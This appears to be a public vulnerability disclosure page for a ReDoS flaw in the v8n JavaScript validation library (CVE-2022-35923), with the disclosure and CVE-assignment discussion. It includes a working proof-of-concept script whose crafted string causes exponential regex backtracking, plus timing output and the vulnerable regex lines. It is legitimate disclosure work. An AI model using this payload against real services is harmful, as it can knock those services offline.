Inefficient Regular Expression Complexity potentially leads to Denial of Service in in imbrn/v8n

0

Valid Reported on Jun 29th 2022

Description

Inefficient regular expression complexity of `lowercase()` and `uppercase()` regex could lead to a denial of service attack. With a formed payload `'a' + 'a'.repeat(i) + 'A'`, only `32` characters payload could take 29443 ms time execution when testing `lowercase()`. The same issue happens with `uppercase()`.

Proof of Concept

```
// PoC.js
const v8n = require('v8n')

for (var i = 1; i <= 1000; i++) {
    var time = Date.now();
    var attack_str = 'a' + 'a'.repeat(i) + 'A'
    v8n().lowercase().test(attack_str)
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cos
}
```

Output

```
attack_str.length: 26: 434 ms
attack_str.length: 27: 868 ms
attack_str.length: 28: 1876 ms
attack_str.length: 29: 3641 ms
attack_str.length: 30: 7899 ms
```

```
attack_str.length: 31: 14900 ms
attack_str.length: 32: 29443 ms
```

Impact

Potentially causes a denial of service attack

Occurrences

JS v8n.js L194

```
uppercase: () => value => /^([A-Z]+\s*)+$/.test(value),
```

JS v8n.js L191

```
lowercase: () => value => /^([a-z]+\s*)+$/.test(value),
```

References

- Inefficient Regular Expression Complexity potentially leads to Denial of Service in yiminghe/async-validator
- Regular Expression Denial of Service (ReDoS) and Catastrophic Backtracking - Snyk

CVE
CVE-2022-35923
(Published)

Vulnerability Type
CWE-400: Denial of Service

Severity
High (7.5)

Registry
Npm

Affected Version
<=1.5.0

Visibility
Public

Status
Fixed

Found by

Khang Vo (doublevkay)
@vovikhangcdv
master

Fixed by

Khang Vo (doublevkay)
@vovikhangcdv
master

This report was seen 661 times.

We are processing your report and will contact the **imbrn/v8n** team within 24 hours.
5 months ago

Khang Vo (doublevkay) submitted a patch 5 months ago

We created a **GitHub Issue** asking the maintainers to create a `SECURITY.md` 5 months ago

We have contacted a member of the **imbrn/v8n** team and are waiting to hear back 5 months ago

A **imbrn/v8n** maintainer has acknowledged this report 5 months ago

imbrn 5 months ago Maintainer

Thank you for the report.
The suggested patch by @doublevkay was actually partially correct according
requirements.

imbrn validated this vulnerability 5 months ago

Khang Vo (doublevkay) has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

imbrn marked this as fixed in 1.5.1 with commit 923938 5 months ago

Khang Vo (doublevkay) has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

v8n.js#L194 has been validated ✔

v8n.js#L191 has been validated ✔

Khang 5 months ago Researcher

Hey @imbrn @maintainer. Great to see your response.

Could we add a GitHub Security Advisory (GSA) for this vulnerability? It is *a good practice* to publish vulnerabilities and helps users be aware of the issue. As a researcher, being credited on GSA is my pleasure and helps my work too.

imbrn 5 months ago Maintainer

Hello @vovikhangcdv. For sure! And thank you for the amazing work.

Khang 5 months ago Researcher

Hey @imbrn, how is it going?

Apologize for annoying you. But in case we misunderstand some things, I want to make clear that adding GHSA is a maintainer's work part. I don't have the authorization to do it either.

imbrn 5 months ago

Hello @vovikhangcdv, I'll do it. No problem. Thank you.

Khang 4 months ago Researcher

Hi @imbrn, any update for the Security Advisories?

Khang 4 months ago Researcher

Hi there, can we assign CVE for this issue? @admin, @maintainer

Jamie Slome 4 months ago Admin

Happy to assign and publish a CVE.

@imbrn - are you happy for me to assign and publish a CVE for this report?

imbrn 4 months ago Maintainer

Hi @jamieslome. I requested a CVE in the Github Advisory.
https://github.com/imbrn/v8n/security/advisories/GHSA-xrx9-gj26-5wx9

Jamie Slome 4 months ago Admin

No worries. Once you get the CVE, if you could just ping over the CVE number, I will add it to this report.

Could we also add a reference for this report to the advisory?

Khang 4 months ago Researcher

Hi @imbrn, Can i be credited in the advisory? I would approciate it a lot. Thank you!

imbrn 4 months ago Maintainer

Sure. I'll credit you and also add a reference to this report.

Khang 4 months ago

Thank you, imbrn,
The CVE was assgined, Can you help to update it on this report, @admin?
https://nvd.nist.gov/vuln/detail/CVE-2022-35923

Jamie Slome 4 months ago Admin

Sorted 👍

> Sign in to join this conversation